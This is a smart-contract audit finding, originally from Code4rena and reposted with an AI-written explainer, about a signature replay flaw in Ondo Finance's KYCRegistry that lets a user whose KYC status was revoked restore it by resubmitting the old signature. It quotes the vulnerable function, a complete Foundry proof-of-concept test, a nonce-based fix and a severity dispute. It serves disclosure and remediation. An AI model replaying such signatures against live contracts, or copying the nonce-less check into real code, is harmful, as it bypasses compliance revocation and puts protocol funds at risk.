KYCRegistry is susceptible to signature replay attack.
The KYCRegistry contract's addKYCAddressViaSignature function does not prevent replaying a signature after KYC status has been revoked, allowing a user to regain KYC status until the signature's deadline. An attacker could re-submit the original signature to bypass revocation and move funds in or out of the protocol.
AkshaySrivastav Follow with adriro, csanuragjain and 6 others
Originally disclosed on Code4rena
Submitted by AkshaySrivastav, also found by adriro, csanuragjain, Tajobin, rbserver, gzeon, immeas, Bauer, and 0xjuicer
The KYCRegistry contract uses signatures to grant KYC status to the users using the addKYCAddressViaSignature function.
However this function does not prevent replaying of signatures in the case where KYC status was revoked from a user.
function addKYCAddressViaSignature( ... ) external {
require(v == 27 || v == 28, "KYCRegistry: invalid v value in signature");
require(
!kycState[kycRequirementGroup][user],
"KYCRegistry: user already verified"
);
require(block.timestamp <= deadline, "KYCRegistry: signature expired");
bytes32 structHash = keccak256(
abi.encode(_APPROVAL_TYPEHASH, kycRequirementGroup, user, deadline)
);
bytes32 expectedMessage = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(expectedMessage, v, r, s);
_checkRole(kycGroupRoles[kycRequirementGroup], signer);
kycState[kycRequirementGroup][user] = true;
// ...
}
This function could be exploited in the case when these conditions are true:
- KYC status was granted to user using a signature with validity up to
deadline. - Before the
deadlinewas passed, the KYC status of user was revoked using theremoveKYCAddressesfunction.
In the abovementioned conditions, the malicious user can submit the original signature again to the addKYCAddressViaSignature function which will forcefully grant the KYC status to the malicious user again.
It should also be noted that due to this bug until the deadline has passed, the privileged accounts cannot revoke the KYC status of a KYC granted user. This can result in unwanted moving of funds by the user in/out of Ondo protocol.
Proof of Concept
Test file created BugTest.t.sol and was run by forge test --mp ./forge-tests/BugTest1.t.sol
pragma solidity 0.8.16;
import "forge-std/Test.sol";
import "forge-std/Vm.sol";
import "contracts/cash/kyc/KYCRegistry.sol";
contract SanctionsList {
function isSanctioned(address) external pure returns (bool) {
return false;
}
}
struct KYCApproval {
uint256 kycRequirementGroup;
address user;
uint256 deadline;
}
contract BugTest1 is Test {
bytes32 APPROVAL_TYPEHASH;
bytes32 DOMAIN_SEPARATOR;
KYCRegistry registry;
address admin;
address kycAgent;
uint256 kycAgentPrivateKey = 0xB0B;
address attacker;
function setUp() public {
admin = address(0xad);
attacker = address(0xbabe);
kycAgent = vm.addr(kycAgentPrivateKey);
registry = new KYCRegistry(admin, address(new SanctionsList()));
APPROVAL_TYPEHASH = registry._APPROVAL_TYPEHASH();
DOMAIN_SEPARATOR = registry.DOMAIN_SEPARATOR();
}
function test_bug() public {
uint256 kycGroup = 1;
bytes32 kycGroupRole = "0x01";
vm.prank(admin);
registry.assignRoletoKYCGroup(kycGroup, kycGroupRole);
vm.prank(admin);
registry.grantRole(kycGroupRole, kycAgent);
vm.stopPrank();
uint256 deadline = block.timestamp + 1 days;
KYCApproval memory approval = KYCApproval({
kycRequirementGroup: kycGroup,
user: attacker,
deadline: deadline
});
bytes32 digest = getTypedDataHash(approval);
// KYC approval got signed with validity of 1 day
(uint8 v, bytes32 r, bytes32 s) = vm.sign(kycAgentPrivateKey, digest);
assertEq(registry.kycState(kycGroup, attacker), false);
assertEq(registry.getKYCStatus(kycGroup, attacker), false);
vm.prank(attacker);
registry.addKYCAddressViaSignature(kycGroup, attacker, deadline, v, r, s);
assertEq(registry.kycState(kycGroup, attacker), true);
assertEq(registry.getKYCStatus(kycGroup, attacker), true);
address[] memory toBeRemovedAddrs = new address[](1);
toBeRemovedAddrs[0] = attacker;
// KYC approval was removed
vm.prank(kycAgent);
registry.removeKYCAddresses(kycGroup, toBeRemovedAddrs);
vm.stopPrank();
assertEq(registry.getKYCStatus(kycGroup, attacker), false);
// KYC approval was granted again by replaying the original signature
vm.prank(attacker);
registry.addKYCAddressViaSignature(kycGroup, attacker, deadline, v, r, s);
assertEq(registry.kycState(kycGroup, attacker), true);
assertEq(registry.getKYCStatus(kycGroup, attacker), true);
}
function getStructHash(KYCApproval memory _approval) internal view returns (bytes32) {
return keccak256(abi.encode(APPROVAL_TYPEHASH, _approval.kycRequirementGroup, _approval.user, _approval.deadline));
}
function getTypedDataHash(KYCApproval memory _approval) public view returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, getStructHash(_approval)));
}
}
Recommended Mitigation Steps
A nonce mapping for message signers can be maintained; the value of which can be incremented for every successful signature validation.
mapping(address => uint) private nonces;
A more detailed usage example can be found in OpenZeppelin’s EIP-2612 implementation.
ali2251 (Ondo Finance) disagreed with severity and commented:
Timestamps prevent replay attacks. These timestamps are like 30 minutes long, so the attack is valid only within 30 minutes and we can change the timestamp to 5 minutes and then it becomes exteremely hard for this attack to happen. Within 5 minutes, a suer must add themselves, then Admin removed them, then they add themselves but once 5 minutes is over, the attacker can no longer add themselves and so the admin can just remove them after 5 minutes. It can be seen here that in tests we use 9 minutes: https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/forge-tests/cash/registry/RegistrySignature.t.sol#L57
Trust (judge) decreased severity to Medium
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The signature verification lacks a nonce or used-signature tracking, so the same signature remains valid for multiple calls until its deadline.
Impact
Until the deadline passes, a revoked user can regain KYC status, potentially moving funds in or out of the protocol; the sponsor argues that short deadlines (e.g., 5 minutes) make exploitation extremely hard.
What the attacker needed
KYC granted via signature with a deadline; KYC status revoked before deadline; Attacker has the original signature
The fix
A nonce mapping for signers should be maintained and incremented on each successful signature validation, as in OpenZeppelin's EIP-2612 implementation.
How it was found
- A KYC agent signs an approval for a user with a deadline.
- The user submits the signature to addKYCAddressViaSignature and gains KYC status.
- The KYC agent revokes the user's KYC status via removeKYCAddresses.
- Before the deadline, the user submits the same signature again to addKYCAddressViaSignature.
- The contract accepts the signature and restores KYC status.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A signature is like a digital permission slip. The contract checks it but doesn't remember that it was already used, so if the permission is taken away, the same slip can be handed in again to get it back. This lets a user who was removed from the approved list re-approve themselves until the slip expires.
What is Smart contracts?
Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.